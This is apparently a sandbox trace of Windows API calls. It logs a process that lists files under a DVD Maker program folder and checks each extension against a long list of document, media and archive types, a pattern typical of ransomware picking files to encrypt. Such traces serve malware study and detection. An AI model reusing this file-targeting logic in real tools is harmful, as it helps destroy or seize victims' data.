ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x60f, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-image-mask.png", cAlternateFileName="")) returned 1 [0039.683] lstrlenW (lpString="16_9-frame-image-mask.png") returned 25 [0039.683] FindNextFileW (in: hFindFile=0x3ed12f8, lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72832ab8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72832ab8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fbfaf1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4c15, dwReserved0=0x0, dwReserved1=0x0, cFileName="babypink.png", cAlternateFileName="")) returned 1 [0039.683] FindNextFileW (in: hFindFile=0x3ed12f8, lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x728a4ecf, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x728a4ecf, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fbfaf1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xcc1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.png", cAlternateFileName="")) returned 1 [0039.683] FindNextFileW (in: hFindFile=0x3ed12f8, lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x728cb02c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x728cb02c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fe5c4f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2c432, dwReserved0=0x0, dwReserved1=0x0, cFileName="bear_formatted_matte2.wmv", cAlternateFileName="")) returned 1 [0039.683] FindNextFileW (in: hFindFile=0x3ed12f8, lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x728f1189, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x728f1189, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a058069, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2c44a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bear_Formatted_MATTE2_PAL.wmv", cAlternateFileName="")) returned 1 [0039.683] FindNextFileW (in: hFindFile=0x3ed12f8, lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729172e6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729172e6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a351bc1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x39ef2, dwReserved0=0x0, dwReserved1=0x0, cFileName="bear_formatted_rgb6.wmv", cAlternateFileName="")) returned 1 [0039.683] FindNextFileW (in: hFindFile=0x3ed12f8, lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729635a0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729635a0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a377d1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x41c0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bear_Formatted_RGB6_PAL.wmv", cAlternateFileName="")) returned 1 [0039.683] FindNextFileW (in: hFindFile=0x3ed12f8, lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729af85a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729af85a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a377d1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdc5, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-back-static.png", cAlternateFileName="")) returned 1 [0039.683] FindNextFileW (in: hFindFile=0x3ed12f8, lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729af85a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729af85a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a377d1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdfc, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-next-static.png", cAlternateFileName="")) returned 1 [0039.684] FindNextFileW (in: hFindFile=0x3ed12f8, lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729d59b7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729d59b7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a377d1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xe0b, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-previous-static.png", cAlternateFileName="")) returned 1 [0039.684] FindNextFileW (in: hFindFile=0x3ed12f8, lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729d59b7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729d59b7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a39de7d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x75d, dwReserved0=0x0, dwReserved1=0x0, cFileName="button-highlight.png", cAlternateFileName="")) returned 1 [0039.684] FindNextFileW (in: hFindFile=0x3ed12f8, lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729d59b7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729d59b7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a39de7d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x55f, dwReserved0=0x0, dwReserved1=0x0, cFileName="chapters-static.png", cAlternateFileName="")) returned 1 [0039.684] FindNextFileW (in: hFindFile=0x3ed12f8, lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729fbb14, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729fbb14, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4aba6851, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8df12, dwReserved0=0x0, dwReserved1=0x0, cFileName="content-background.png", cAlternateFileName="")) returned 1 [0039.684] FindNextFileW (in: hFindFile=0x3ed12f8, lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72a47dce, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72a47dce, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b362f69, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="content-foreground.png", cAlternateFileName="")) returned 1 [0039.684] FindNextFileW (in: hFindFile=0x3ed12f8, lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72a6df2b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72a6df2b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b362f69, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb8c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="curtains.png", cAlternateFileName="")) returned 1 [0039.684] FindNextFileW (in: hFindFile=0x3ed12f8, lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b52759, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b52759, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b3fb4e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12d98, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_precomp_matte.wmv", cAlternateFileName="")) returned 1 [0039.684] FindNextFileW (in: hFindFile=0x3ed12f8, lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b52759, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b52759, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b3fb4e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x14cd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_PreComp_MATTE_PAL.wmv", cAlternateFileName="")) returned 1 [0039.684] FindNextFileW (in: hFindFile=0x3ed12f8, lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b788b6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b788b6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b42163f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x26618, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_trans_matte.wmv", cAlternateFileName="")) returned 1 [0039.684] FindNextFileW (in: hFindFile=0x3ed12f8, lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b9ea13, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b9ea13, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b42163f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x28558, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_trans_MATTE_PAL.wmv", cAlternateFileName="")) returned 1 [0039.685] FindNextFileW (in: hFindFile=0x3ed12f8, lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b0649f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b0649f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b44779d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2e31e, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_trans_rgb.wmv", cAlternateFileName="")) returned 1 [0039.685] FindNextFileW (in: hFindFile=0x3ed12f8, lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b2c5fc, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b2c5fc, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5c4549, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x39e98, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_trans_RGB_PAL.wmv", cAlternateFileName="")) returned 1 [0039.685] FindNextFileW (in: hFindFile=0x3ed12f8, lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72a94088, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72a94088, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5c4549, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x609, dwReserved0=0x0, dwReserved1=0x0, cFileName="highlight.png", cAlternateFileName="")) returned 1 [0039.685] FindNextFileW (in: hFindFile=0x3ed12f8, lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72aba1e5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72aba1e5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x239b, dwReserved0=0x0, dwReserved1=0x0, cFileName="mainimage-mask.png", cAlternateFileName="")) returned 1 [0039.685] FindNextFileW (in: hFindFile=0x3ed12f8, lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72ae0342, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72ae0342, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x559, dwReserved0=0x0, dwReserved1=0x0, cFileName="notes-static.png", cAlternateFileName="")) returned 1 [0039.685] FindNextFileW (in: hFindFile=0x3ed12f8, lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72ae0342, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72ae0342, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x505, dwReserved0=0x0, dwReserved1=0x0, cFileName="play-static.png", cAlternateFileName="")) returned 1 [0039.685] FindNextFileW (in: hFindFile=0x3ed12f8, lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72ae0342, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72ae0342, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x505, dwReserved0=0x0, dwReserved1=0x0, cFileName="play-static.png", cAlternateFileName="")) returned 0 [0039.685] FindClose (in: hFindFile=0x3ed12f8 | out: hFindFile=0x3ed12f8) returned 1 [0039.686] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x3ec0050 | out: hHeap=0x880000) returned 1 [0039.686] FindNextFileW (in: hFindFile=0x3ed11f8, lpFindFileData=0x33ef310 | out: lpFindFileData=0x33ef310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ecb0968, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ecb0968, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1276, dwReserved0=0x0, dwReserved1=0x0, cFileName="BlackRectangle.bmp", cAlternateFileName="")) returned 1 [0039.686] FindNextFileW (in: hFindFile=0x3ed11f8, lpFindFileData=0x33ef310 | out: lpFindFileData=0x33ef310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ebf2297, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ebf2297, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6a91, dwReserved0=0x0, dwReserved1=0x0, cFileName="circleround_glass.png", cAlternateFileName="")) returned 1 [0039.686] FindNextFileW (in: hFindFile=0x3ed11f8, lpFindFileData=0x33ef310 | out: lpFindFileData=0x33ef310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ebf2297, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ebf2297, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf26, dwReserved0=0x0, dwReserved1=0x0, cFileName="circleround_selectionsubpicture.png", cAlternateFileName="")) returned 1 [0039.686] FindNextFileW (in: hFindFile=0x3ed11f8, lpFindFileData=0x33ef310 | out: lpFindFileData=0x33ef310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ebcc13a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ebcc13a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="circleround_videoinset.png", cAlternateFileName="")) returned 1 [0039.686] FindNextFileW (in: hFindFile=0x3ed11f8, lpFindFileData=0x33ef310 | out: lpFindFileData=0x33ef310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6edbb2f3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6edbb2f3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c53d379, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6a91, dwReserved0=0x0, dwReserved1=0x0, cFileName="Circle_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0039.686] FindNextFileW (in: hFindFile=0x3ed11f8, lpFindFileData=0x33ef310 | out: lpFindFileData=0x33ef310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e990cc7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e990cc7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c7063e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="circle_glass_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0039.687] FindNextFileW (in: hFindFile=0x3ed11f8, lpFindFileData=0x33ef310 | out: lpFindFileData=0x33ef310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ede1450, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ede1450, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c7063e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf26, dwReserved0=0x0, dwReserved1=0x0, cFileName="Circle_SelectionSubpictureA.png", cAlternateFileName="")) returned 1 [0039.687] FindNextFileW (in: hFindFile=0x3ed11f8, lpFindFileData=0x33ef310 | out: lpFindFileData=0x33ef310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ede1450, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ede1450, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c7063e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Circle_SelectionSubpictureB.png", cAlternateFileName="")) returned 1 [0039.687] FindNextFileW (in: hFindFile=0x3ed11f8, lpFindFileData=0x33ef310 | out: lpFindFileData=0x33ef310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee2d70a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee2d70a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Circle_VideoInset.png", cAlternateFileName="")) returned 1 [0039.687] FindNextFileW (in: hFindFile=0x3ed11f8, lpFindFileData=0x33ef310 | out: lpFindFileData=0x33ef310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea030de, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea030de, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9fff39, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cloud_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0039.687] FindNextFileW (in: hFindFile=0x3ed11f8, lpFindFileData=0x33ef310 | out: lpFindFileData=0x33ef310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee2d70a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee2d70a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9fff39, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5c9f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dot.png", cAlternateFileName="")) returned 1 [0039.687] FindNextFileW (in: hFindFile=0x3ed11f8, lpFindFileData=0x33ef310 | out: lpFindFileData=0x33ef310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee799c4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee799c4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4cb30a29, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x422c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DvdTransform.fx", cAlternateFileName="")) returned 1 [0039.687] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x3ec0050 [0039.687] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage") returned 52 [0039.687] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\*", lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f43efc8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f465237, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ed1278 [0039.899] FindNextFileW (in: hFindFile=0x3ed1278, lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f43efc8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f465237, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.899] FindNextFileW (in: hFindFile=0x3ed1278, lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe188e9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe188e9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0039.899] lstrlenW (lpString="1047x576black.png") returned 17 [0039.899] lstrlenW (lpString=".1cd") returned 4 [0039.899] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0039.899] lstrlenW (lpString=".3ds") returned 4 [0039.899] lstrcmpiW (lpString1=".3ds", lpString2=".png") returned -1 [0039.899] lstrlenW (lpString=".3fr") returned 4 [0039.899] lstrcmpiW (lpString1=".3fr", lpString2=".png") returned -1 [0039.899] lstrlenW (lpString=".3g2") returned 4 [0039.899] lstrcmpiW (lpString1=".3g2", lpString2=".png") returned -1 [0039.899] lstrlenW (lpString=".3gp") returned 4 [0039.899] lstrcmpiW (lpString1=".3gp", lpString2=".png") returned -1 [0039.899] lstrlenW (lpString=".7z") returned 3 [0039.899] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0039.899] lstrlenW (lpString=".accda") returned 6 [0039.899] lstrcmpiW (lpString1=".accda", lpString2="ck.png") returned -1 [0039.899] lstrlenW (lpString=".accdb") returned 6 [0039.899] lstrcmpiW (lpString1=".accdb", lpString2="ck.png") returned -1 [0039.899] lstrlenW (lpString=".accdc") returned 6 [0039.899] lstrcmpiW (lpString1=".accdc", lpString2="ck.png") returned -1 [0039.899] lstrlenW (lpString=".accde") returned 6 [0039.899] lstrcmpiW (lpString1=".accde", lpString2="ck.png") returned -1 [0039.899] lstrlenW (lpString=".accdt") returned 6 [0039.899] lstrcmpiW (lpString1=".accdt", lpString2="ck.png") returned -1 [0039.899] lstrlenW (lpString=".accdw") returned 6 [0039.899] lstrcmpiW (lpString1=".accdw", lpString2="ck.png") returned -1 [0039.899] lstrlenW (lpString=".adb") returned 4 [0039.899] lstrcmpiW (lpString1=".adb", lpString2=".png") returned -1 [0039.899] lstrlenW (lpString=".adp") returned 4 [0039.899] lstrcmpiW (lpString1=".adp", lpString2=".png") returned -1 [0039.899] lstrlenW (lpString=".ai") returned 3 [0039.899] lstrcmpiW (lpString1=".ai", lpString2="png") returned -1 [0039.899] lstrlenW (lpString=".ai3") returned 4 [0039.899] lstrcmpiW (lpString1=".ai3", lpString2=".png") returned -1 [0039.899] lstrlenW (lpString=".ai4") returned 4 [0039.899] lstrcmpiW (lpString1=".ai4", lpString2=".png") returned -1 [0039.899] lstrlenW (lpString=".ai5") returned 4 [0039.899] lstrcmpiW (lpString1=".ai5", lpString2=".png") returned -1 [0039.899] lstrlenW (lpString=".ai6") returned 4 [0039.899] lstrcmpiW (lpString1=".ai6", lpString2=".png") returned -1 [0039.899] lstrlenW (lpString=".ai7") returned 4 [0039.899] lstrcmpiW (lpString1=".ai7", lpString2=".png") returned -1 [0039.899] lstrlenW (lpString=".ai8") returned 4 [0039.899] lstrcmpiW (lpString1=".ai8", lpString2=".png") returned -1 [0039.899] lstrlenW (lpString=".anim") returned 5 [0039.900] lstrcmpiW (lpString1=".anim", lpString2="k.png") returned -1 [0039.900] lstrlenW (lpString=".arw") returned 4 [0039.900] lstrcmpiW (lpString1=".arw", lpString2=".png") returned -1 [0039.900] lstrlenW (lpString=".as") returned 3 [0039.900] lstrcmpiW (lpString1=".as", lpString2="png") returned -1 